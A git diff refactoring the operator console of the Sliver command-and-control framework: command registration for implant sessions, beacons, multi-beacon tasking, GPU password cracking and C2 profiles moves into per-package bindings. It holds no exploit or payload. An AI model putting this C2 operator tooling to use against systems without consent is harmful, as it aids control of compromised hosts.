"t", defaultTimeout, "grpc timeout in seconds") - }) - - hostsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a host from the database", - Long: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - hosts.HostsRmCmd(cmd, con, args) - }, - } - hostsCmd.AddCommand(hostsRmCmd) - - hostsIOCCmd := &cobra.Command{ - Use: consts.IOCStr, - Short: "Manage tracked IOCs on a given host", - Long: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}), - Run: func(cmd *cobra.Command, args []string) { - hosts.HostsIOCCmd(cmd, con, args) - }, - } - hostsCmd.AddCommand(hostsIOCCmd) - - hostsIOCRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Delete IOCs from the database", - Long: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - hosts.HostsIOCRmCmd(cmd, con, args) - }, - } - hostsIOCCmd.AddCommand(hostsIOCRmCmd) - - // [ Reactions ] ----------------------------------------------------------------- - - reactionCmd := &cobra.Command{ - Use: consts.ReactionStr, - Short: "Manage automatic reactions to events", - Long: help.GetHelpFor([]string{consts.ReactionStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - server.AddCommand(reactionCmd) - - reactionSetCmd := &cobra.Command{ - Use: consts.SetStr, - Short: "Set a reaction to an event", - Long: help.GetHelpFor([]string{consts.ReactionStr, consts.SetStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionSetCmd(cmd, con, args) - }, - } - reactionCmd.AddCommand(reactionSetCmd) - Flags("reactions", false, reactionSetCmd, func(f *pflag.FlagSet) { - f.StringP("event", "e", "", "specify the event type to react to") - }) - - FlagComps(reactionSetCmd, func(comp *carapace.ActionMap) { - (*comp)["event"] = carapace.ActionValues( - consts.SessionOpenedEvent, - consts.SessionClosedEvent, - consts.SessionUpdateEvent, - consts.BeaconRegisteredEvent, - consts.CanaryEvent, - consts.WatchtowerEvent, + bind(consts.GenericHelpGroup, + serverCmds, ) - }) - - reactionUnsetCmd := &cobra.Command{ - Use: consts.UnsetStr, - Short: "Unset an existing reaction", - Long: help.GetHelpFor([]string{consts.ReactionStr, consts.UnsetStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionUnsetCmd(cmd, con, args) - }, - } - reactionCmd.AddCommand(reactionUnsetCmd) - Flags("reactions", false, reactionUnsetCmd, func(f *pflag.FlagSet) { - f.IntP("id", "i", 0, "the id of the reaction to remove") - }) - FlagComps(reactionUnsetCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = reaction.ReactionIDCompleter(con) - }) - - reactionSaveCmd := &cobra.Command{ - Use: consts.SaveStr, - Short: "Save current reactions to disk", - Long: help.GetHelpFor([]string{consts.ReactionStr, consts.SaveStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionSaveCmd(cmd, con, args) - }, } - reactionCmd.AddCommand(reactionSaveCmd) + // [ Bind commands ] -------------------------------------------------------- + + // Below are bounds all commands of the server menu, gathered by the group + // under which they should be printed in help messages and/or completions. + // You can either add a new bindCommands() call with a new group (which will + // be automatically added to the command tree), or add your commands in one of + // the present calls. + + // Core + bind(consts.GenericHelpGroup, + exit.Command, + licenses.Commands, + settings.Commands, + alias.Commands, + armory.Commands, + update.Commands, + operator.Commands, + creds.Commands, + crack.Commands, + ) + + // C2 Network + bind(consts.NetworkHelpGroup, + jobs.Commands, + websites.Commands, + wireguard.Commands, + c2profiles.Commands, + ) + + // Payloads + bind(consts.PayloadsHelpGroup, + sgn.Commands, + generate.Commands, + builders.Commands, + ) + + // Slivers + bind(consts.SliverHelpGroup, + use.Commands, + info.Commands, + sessions.Commands, + beacons.Commands, + monitor.Commands, + loot.Commands, + hosts.Commands, + reaction.Commands, + taskmany.Command, + ) + + // [ Post-command declaration setup ]----------------------------------------- - reactionReloadCmd := &cobra.Command{ - Use: consts.ReloadStr, - Short: "Reload reactions from disk, replaces the running configuration", - Long: help.GetHelpFor([]string{consts.ReactionStr, consts.ReloadStr}), - Run: func(cmd *cobra.Command, args []string) { - reaction.ReactionReloadCmd(cmd, con, args) - }, - } - reactionCmd.AddCommand(reactionReloadCmd) + // Everything below this line should preferably not be any command binding + // (although you can do so without fear). If there are any final modifications + // to make to the server menu command tree, it time to do them here. - // [ Prelude's Operator ] ------------------------------------------------------------ - operatorCmd := &cobra.Command{ - Use: consts.PreludeOperatorStr, - Short: "Manage connection to Prelude's Operator", - Long: help.GetHelpFor([]string{consts.PreludeOperatorStr}), - GroupID: consts.GenericHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - operator.OperatorCmd(cmd, con, args) - }, - } - server.AddCommand(operatorCmd) + server.InitDefaultHelpCmd() + server.SetHelpCommandGroupID(consts.GenericHelpGroup) - operatorConnectCmd := &cobra.Command{ - Use: consts.ConnectStr, - Short: "Connect with Prelude's Operator", - Long: help.GetHelpFor([]string{consts.PreludeOperatorStr, consts.ConnectStr}), - Run: func(cmd *cobra.Command, args []string) { - operator.ConnectCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - } - operatorCmd.AddCommand(operatorConnectCmd) - Flags("operator", false, operatorConnectCmd, func(f *pflag.FlagSet) { - f.BoolP("skip-existing", "s", false, "Do not add existing sessions as Operator Agents") - f.StringP("aes-key", "a", "abcdefghijklmnopqrstuvwxyz012345", "AES key for communication encryption") - f.StringP("range", "r", "sliver", "Agents range") - }) - carapace.Gen(operatorConnectCmd).PositionalCompletion( - carapace.ActionValues().Usage("connection string to the Operator Host (e.g. 127.0.0.1:1234)")) + con.FilterCommands(server) - // [ Builders ] --------------------------------------------- + return server + } - buildersCmd := &cobra.Command{ - Use: consts.BuildersStr, - Short: "List external builders", - Long: help.GetHelpFor([]string{consts.BuildersStr}), - Run: func(cmd *cobra.Command, args []string) { - builders.BuildersCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - server.AddCommand(buildersCmd) - Flags("builders", false, buildersCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) + return serverCommands +} - // [ Crack ] ------------------------------------------------------------ - crackCmd := &cobra.Command{ - Use: consts.CrackStr, - Short: "Crack: GPU password cracking", - Long: help.GetHelpFor([]string{consts.CrackStr}), - GroupID: consts.GenericHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - crack.CrackCmd(cmd, con, args) - }, - } - Flags("", true, crackCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(crackCmd) +// BindPreRun registers specific pre-execution runners for all +// leafs commands (and some nodes) of a given command/tree. +func BindPreRun(root *cobra.Command, runs ...CobraRunnerE) { + for _, cmd := range root.Commands() { + ePreE := cmd.PersistentPreRunE + run, runE := cmd.Run, cmd.RunE - crackStationsCmd := &cobra.Command{ - Use: consts.StationsStr, - Short: "Manage crackstations", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.StationsStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackStationsCmd(cmd, con, args) - }, + // Don't modify commands in charge on their own tree. + if ePreE != nil { + continue } - crackCmd.AddCommand(crackStationsCmd) - wordlistsCmd := &cobra.Command{ - Use: consts.WordlistsStr, - Short: "Manage wordlists", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.WordlistsStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackWordlistsCmd(cmd, con, args) - }, + // Always go to find the leaf commands, irrespective + // of what we do with this parent command. + if cmd.HasSubCommands() { + BindPreRun(cmd, runs...) } - crackCmd.AddCommand(wordlistsCmd) - wordlistsAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a wordlist", - Run: func(cmd *cobra.Command, args []string) { - crack.CrackWordlistsAddCmd(cmd, con, args) - }, + // If the command has no runners, there's nothing to bind: + // If it has flags, any child command requiring them should + // trigger the prerunners, which will connect to the server. + if run == nil && runE == nil { + continue } - Flags("", false, wordlistsAddCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "wordlist name (blank = filename)") - }) - carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file")) - wordlistsCmd.AddCommand(wordlistsAddCmd) - wordlistsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a wordlist", - Run: func(cmd *cobra.Command, args []string) { - crack.CrackWordlistsRmCmd(cmd, con, args) - }, + // Else we have runners, bind the pre-runs if possible. + if cmd.PreRunE != nil { + continue } - wordlistsCmd.AddCommand(wordlistsRmCmd) - carapace.Gen(wordlistsRmCmd).PositionalCompletion(crack.CrackWordlistCompleter(con).Usage("wordlist to remove")) - rulesCmd := &cobra.Command{ - Use: consts.RulesStr, - Short: "Manage rule files", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackRulesCmd(cmd, con, args) - }, - } - crackCmd.AddCommand(rulesCmd) + // Compound all runners together. + cRun := func(c *cobra.Command, args []string) error { + for _, run := range runs { + err := run(c, args) + if err != nil { + return err + } + } - rulesAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a rules file", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackRulesAddCmd(cmd, con, args) - }, + return nil } - Flags("", false, rulesAddCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "rules name (blank = filename)") - }) - carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file")) - rulesCmd.AddCommand(rulesAddCmd) - rulesRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove rules", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackRulesRmCmd(cmd, con, args) - }, - } - carapace.Gen(rulesRmCmd).PositionalCompletion(crack.CrackRulesCompleter(con).Usage("rules to remove")) - rulesCmd.AddCommand(rulesRmCmd) + // Bind + cmd.PreRunE = cRun + } +} - hcstat2Cmd := &cobra.Command{ - Use: consts.Hcstat2Str, - Short: "Manage markov hcstat2 files", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackHcstat2Cmd(cmd, con, args) - }, - } - crackCmd.AddCommand(hcstat2Cmd) +// BindPostRun registers specific post-execution runners for all +// leafs commands (and some nodes) of a given command/tree. +func BindPostRun(root *cobra.Command, runs ...CobraRunnerE) { + for _, cmd := range root.Commands() { + ePostE := cmd.PersistentPostRunE + run, runE := cmd.Run, cmd.RunE - hcstat2AddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a hcstat2 file", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackHcstat2AddCmd(cmd, con, args) - }, + // Don't modify commands in charge on their own tree. + if ePostE != nil { + continue } - Flags("", false, hcstat2AddCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "hcstat2 name (blank = filename)") - }) - carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file")) - hcstat2Cmd.AddCommand(hcstat2AddCmd) - hcstat2RmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove hcstat2 file", - Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - crack.CrackHcstat2RmCmd(cmd, con, args) - }, + // Always go to find the leaf commands, irrespective + // of what we do with this parent command. + if cmd.HasSubCommands() { + BindPostRun(cmd, runs...) } - carapace.Gen(hcstat2RmCmd).PositionalCompletion(crack.CrackHcstat2Completer(con).Usage("hcstat2 to remove")) - hcstat2Cmd.AddCommand(hcstat2RmCmd) - - // [ Task many ]----------------------------------------- - taskmanyCmd := &cobra.Command{ - Use: consts.TaskmanyStr, - Short: "Task many beacons or sessions", - Long: help.GetHelpFor([]string{consts.TaskmanyStr}), - GroupID: consts.GenericHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - taskmany.TaskmanyCmd(cmd, con, args) - }, + // If the command has no runners, there's nothing to bind: + // If it has flags, any child command requiring them should + // trigger the prerunners, which will connect to the server. + if run == nil && runE == nil { + continue } - server.AddCommand(taskmanyCmd) - // Add the relevant beacon commands as a subcommand to taskmany - taskmanyCmds := map[string]bool{ - consts.ExecuteStr: true, - consts.LsStr: true, - consts.CdStr: true, - consts.MkdirStr: true, - consts.RmStr: true, - consts.UploadStr: true, - consts.DownloadStr: true, - consts.InteractiveStr: true, - consts.ChmodStr: true, - consts.ChownStr: true, - consts.ChtimesStr: true, - consts.PwdStr: true, - consts.CatStr: true, - consts.MvStr: true, - consts.PingStr: true, - consts.NetstatStr: true, - consts.PsStr: true, - consts.IfconfigStr: true, + // Else we have runners, bind the pre-runs if possible. + if cmd.PostRunE != nil { + continue } - for _, c := range SliverCommands(con)().Commands() { - _, ok := taskmanyCmds[c.Use] - if ok { - taskmanyCmd.AddCommand(taskmany.WrapCommand(c, con)) + // Compound all runners together. + cRun := func(c *cobra.Command, args []string) error { + for _, run := range runs { + err := run(c, args) + if err != nil { + return err + } } - } - - // [ HTTP C2 Profiles ] -------------------------------------------------------------- - - ImportC2ProfileCmd := &cobra.Command{ - Use: consts.ImportC2ProfileStr, - Short: "Import HTTP C2 profile", - Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}), - Run: func(cmd *cobra.Command, args []string) { - c2profiles.ImportC2ProfileCmd(cmd, con, args) - }, - } - Flags(consts.ImportC2ProfileStr, true, ImportC2ProfileCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile name") - f.StringP("file", "f", "", "Path to C2 configuration file to import") - f.BoolP("overwrite", "o", false, "Overwrite profile if it exists") - }) - C2ProfileCmd := &cobra.Command{ - Use: consts.C2ProfileStr, - Short: "Display C2 profile details", - Long: help.GetHelpFor([]string{consts.C2ProfileStr}), - Run: func(cmd *cobra.Command, args []string) { - c2profiles.C2ProfileCmd(cmd, con, args) - }, + return nil } - Flags(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile to display") - }) - FlagComps(C2ProfileCmd, func(comp *carapace.ActionMap) { - (*comp)["name"] = generate.HTTPC2Completer(con) - }) - C2ProfileCmd.AddCommand(ImportC2ProfileCmd) - server.AddCommand(C2ProfileCmd) - - // [ Post-command declaration setup]----------------------------------------- - - // Everything below this line should preferably not be any command binding - // (unless you know what you're doing). If there are any final modifications - // to make to the sliver menu command tree, it time to do them here. - server.InitDefaultHelpCmd() - server.SetHelpCommandGroupID(consts.GenericHelpGroup) - - // Bind a readline subcommand to the `settings` one, for allowing users to - // manipulate the shell instance keymaps, bindings, macros and global options. - settingsCmd.AddCommand(readline.Commands(con.App.Shell())) - - return server + // Bind + cmd.PostRunE = cRun } - - return serverCommands } diff --git a/client/command/sessions/background.go b/client/command/sessions/background.go index a0e2b49c3b..604dad328f 100644 --- a/client/command/sessions/background.go +++ b/client/command/sessions/background.go @@ -6,8 +6,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// BackgroundCmd - Background the active session -func BackgroundCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// BackgroundCmd - Background the active session. +func BackgroundCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { con.ActiveTarget.Background() con.PrintInfof("Background ...\n") } diff --git a/client/command/sessions/close.go b/client/command/sessions/close.go index e630276989..20901a13ca 100644 --- a/client/command/sessions/close.go +++ b/client/command/sessions/close.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// CloseSessionCmd - Close an interactive session but do not kill the remote process -func CloseSessionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// CloseSessionCmd - Close an interactive session but do not kill the remote process. +func CloseSessionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { // Get the active session session := con.ActiveTarget.GetSessionInteractive() if session == nil { @@ -41,7 +41,7 @@ func CloseSessionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err.Error()) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/sessions/commands.go b/client/command/sessions/commands.go new file mode 100644 index 0000000000..23ad82f3f4 --- /dev/null +++ b/client/command/sessions/commands.go @@ -0,0 +1,113 @@ +package sessions + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `sessions` command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + sessionsCmd := &cobra.Command{ + Use: consts.SessionsStr, + Short: "Session management", + Long: help.GetHelpFor([]string{consts.SessionsStr}), + Run: func(cmd *cobra.Command, args []string) { + SessionsCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("sessions", true, sessionsCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("sessions", false, sessionsCmd, func(f *pflag.FlagSet) { + f.StringP("interact", "i", "", "interact with a session") + f.StringP("kill", "k", "", "kill the designated session") + f.BoolP("kill-all", "K", false, "kill all the sessions") + f.BoolP("clean", "C", false, "clean out any sessions marked as [DEAD]") + f.BoolP("force", "F", false, "force session action without waiting for results") + + f.StringP("filter", "f", "", "filter sessions by substring") + f.StringP("filter-re", "e", "", "filter sessions by regular expression") + }) + completers.NewFlagCompsFor(sessionsCmd, func(comp *carapace.ActionMap) { + (*comp)["interact"] = SessionIDCompleter(con) + (*comp)["kill"] = SessionIDCompleter(con) + }) + + sessionsPruneCmd := &cobra.Command{ + Use: consts.PruneStr, + Short: "Kill all stale/dead sessions", + Long: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}), + Run: func(cmd *cobra.Command, args []string) { + SessionsPruneCmd(cmd, con, args) + }, + } + flags.Bind("prune", false, sessionsPruneCmd, func(f *pflag.FlagSet) { + f.BoolP("force", "F", false, "Force the killing of stale/dead sessions") + }) + sessionsCmd.AddCommand(sessionsPruneCmd) + + return []*cobra.Command{sessionsCmd} +} + +// SliverCommands returns all session control commands for the active target. +func SliverCommands(con *console.SliverClient) []*cobra.Command { + backgroundCmd := &cobra.Command{ + Use: consts.BackgroundStr, + Short: "Background an active session", + Long: help.GetHelpFor([]string{consts.BackgroundStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + BackgroundCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("use", false, backgroundCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + openSessionCmd := &cobra.Command{ + Use: consts.InteractiveStr, + Short: "Task a beacon to open an interactive session (Beacon only)", + Long: help.GetHelpFor([]string{consts.InteractiveStr}), + Run: func(cmd *cobra.Command, args []string) { + InteractiveCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + Annotations: flags.RestrictTargets(consts.BeaconCmdsFilter), + } + flags.Bind("interactive", false, openSessionCmd, func(f *pflag.FlagSet) { + f.StringP("mtls", "m", "", "mtls connection strings") + f.StringP("wg", "g", "", "wg connection strings") + f.StringP("http", "b", "", "http(s) connection strings") + f.StringP("dns", "n", "", "dns connection strings") + f.StringP("named-pipe", "p", "", "namedpipe connection strings") + f.StringP("tcp-pivot", "i", "", "tcppivot connection strings") + + f.StringP("delay", "d", "0s", "delay opening the session (after checkin) for a given period of time") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + closeSessionCmd := &cobra.Command{ + Use: consts.CloseStr, + Short: "Close an interactive session without killing the remote process", + Long: help.GetHelpFor([]string{consts.CloseStr}), + Run: func(cmd *cobra.Command, args []string) { + CloseSessionCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("", false, closeSessionCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{backgroundCmd, openSessionCmd, closeSessionCmd} +} diff --git a/client/command/sessions/helpers.go b/client/command/sessions/helpers.go index 0946336fe3..d65288d14a 100644 --- a/client/command/sessions/helpers.go +++ b/client/command/sessions/helpers.go @@ -28,6 +28,7 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/rsteube/carapace" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -35,17 +36,17 @@ import ( ) var ( - // ErrNoSessions - No sessions available + // ErrNoSessions - No sessions available. ErrNoSessions = errors.New("no sessions") - // ErrNoSelection - No selection made + // ErrNoSelection - No selection made. ErrNoSelection = errors.New("no selection") ) -// SelectSession - Interactive menu for the user to select an session, optionally only display live sessions -func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.Session, error) { +// SelectSession - Interactive menu for the user to select an session, optionally only display live sessions. +func SelectSession(onlyAlive bool, con *console.SliverClient) (*clientpb.Session, error) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if len(sessions.Sessions) == 0 { return nil, ErrNoSessions @@ -104,3 +105,30 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb. } return nil, ErrNoSelection } + +// SessionIDCompleter completes session IDs. +func SessionIDCompleter(con *console.SliverClient) carapace.Action { + callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + results := make([]string, 0) + + sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err == nil { + for _, s := range sessions.Sessions { + link := fmt.Sprintf("[%s <- %s]", s.ActiveC2, s.RemoteAddress) + id := fmt.Sprintf("%s (%d)", s.Name, s.PID) + userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname) + desc := strings.Join([]string{id, userHost, link}, " ") + + results = append(results, s.ID[:8]) + results = append(results, desc) + } + } + return carapace.ActionValuesDescribed(results...).Tag("sessions") + } + + return carapace.ActionCallback(callback) +} diff --git a/client/command/sessions/interactive.go b/client/command/sessions/interactive.go index 7ba31e90e7..9a4e0c554c 100644 --- a/client/command/sessions/interactive.go +++ b/client/command/sessions/interactive.go @@ -31,8 +31,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// InteractiveCmd - Beacon only command to open an interactive session -func InteractiveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, _ []string) { +// InteractiveCmd - Beacon only command to open an interactive session. +func InteractiveCmd(cmd *cobra.Command, con *console.SliverClient, _ []string) { beacon := con.ActiveTarget.GetBeaconInteractive() if beacon == nil { return @@ -166,7 +166,7 @@ func InteractiveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, _ []st openSession, err = con.Rpc.OpenSession(context.Background(), openSession) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } if openSession.Response != nil && openSession.Response.Async { con.PrintAsyncResponse(openSession.Response) diff --git a/client/command/sessions/prune.go b/client/command/sessions/prune.go index fdab122411..4d446d4b93 100644 --- a/client/command/sessions/prune.go +++ b/client/command/sessions/prune.go @@ -28,11 +28,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// SessionsPruneCmd - Forcefully kill stale sessions -func SessionsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SessionsPruneCmd - Forcefully kill stale sessions. +func SessionsPruneCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if len(sessions.GetSessions()) == 0 { diff --git a/client/command/sessions/sessions.go b/client/command/sessions/sessions.go index c17ecf6c31..41dad787e8 100644 --- a/client/command/sessions/sessions.go +++ b/client/command/sessions/sessions.go @@ -36,8 +36,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// SessionsCmd - Display/interact with sessions -func SessionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SessionsCmd - Display/interact with sessions. +func SessionsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { interact, _ := cmd.Flags().GetString("interact") killFlag, _ := cmd.Flags().GetString("kill") killAll, _ := cmd.Flags().GetBool("kill-all") @@ -45,7 +45,7 @@ func SessionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -90,6 +90,7 @@ func SessionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st if err != nil { con.PrintErrorf("%s", err) } + con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID) return } @@ -126,8 +127,8 @@ func SessionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -// PrintSessions - Print the current sessions -func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) { +// PrintSessions - Print the current sessions. +func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) { width, _, err := term.GetSize(0) if err != nil { width = 999 @@ -135,6 +136,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) wideTermWidth := con.Settings.SmallTermWidth < width if wideTermWidth { @@ -237,7 +239,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR con.Printf("%s\n", tw.Render()) } -// ShortSessionID - Shorten the session ID +// ShortSessionID - Shorten the session ID. func ShortSessionID(id string) string { return strings.Split(id, "-")[0] } diff --git a/client/command/settings/beacons.go b/client/command/settings/beacons.go index 61cd88f51a..716cc85b36 100644 --- a/client/command/settings/beacons.go +++ b/client/command/settings/beacons.go @@ -25,8 +25,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// SettingsBeaconsAutoResultCmd - The client settings command -func SettingsBeaconsAutoResultCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsBeaconsAutoResultCmd - The client settings command. +func SettingsBeaconsAutoResultCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() diff --git a/client/command/settings/commands.go b/client/command/settings/commands.go new file mode 100644 index 0000000000..f312a6ed84 --- /dev/null +++ b/client/command/settings/commands.go @@ -0,0 +1,92 @@ +package settings + +import ( + "github.com/reeflective/console/commands/readline" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + settingsCmd := &cobra.Command{ + Use: consts.SettingsStr, + Short: "Manage client settings", + Long: help.GetHelpFor([]string{consts.SettingsStr}), + Run: func(cmd *cobra.Command, args []string) { + SettingsCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + settingsCmd.AddCommand(&cobra.Command{ + Use: consts.SaveStr, + Short: "Save the current settings to disk", + Long: help.GetHelpFor([]string{consts.SettingsStr, consts.SaveStr}), + Run: func(cmd *cobra.Command, args []string) { + SettingsSaveCmd(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: consts.TablesStr, + Short: "Modify tables setting (style)", + Long: help.GetHelpFor([]string{consts.SettingsStr, consts.TablesStr}), + Run: func(cmd *cobra.Command, args []string) { + SettingsTablesCmd(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "beacon-autoresults", + Short: "Automatically display beacon task results when completed", + Long: help.GetHelpFor([]string{consts.SettingsStr, "beacon-autoresults"}), + Run: func(cmd *cobra.Command, args []string) { + SettingsBeaconsAutoResultCmd(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "autoadult", + Short: "Automatically accept OPSEC warnings", + Long: help.GetHelpFor([]string{consts.SettingsStr, "autoadult"}), + Run: func(cmd *cobra.Command, args []string) { + SettingsAutoAdultCmd(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "always-overflow", + Short: "Disable table pagination", + Long: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}), + Run: func(cmd *cobra.Command, args []string) { + SettingsAlwaysOverflow(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "small-terminal", + Short: "Set the small terminal width", + Long: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}), + Run: func(cmd *cobra.Command, args []string) { + SettingsSmallTerm(cmd, con, args) + }, + }) + 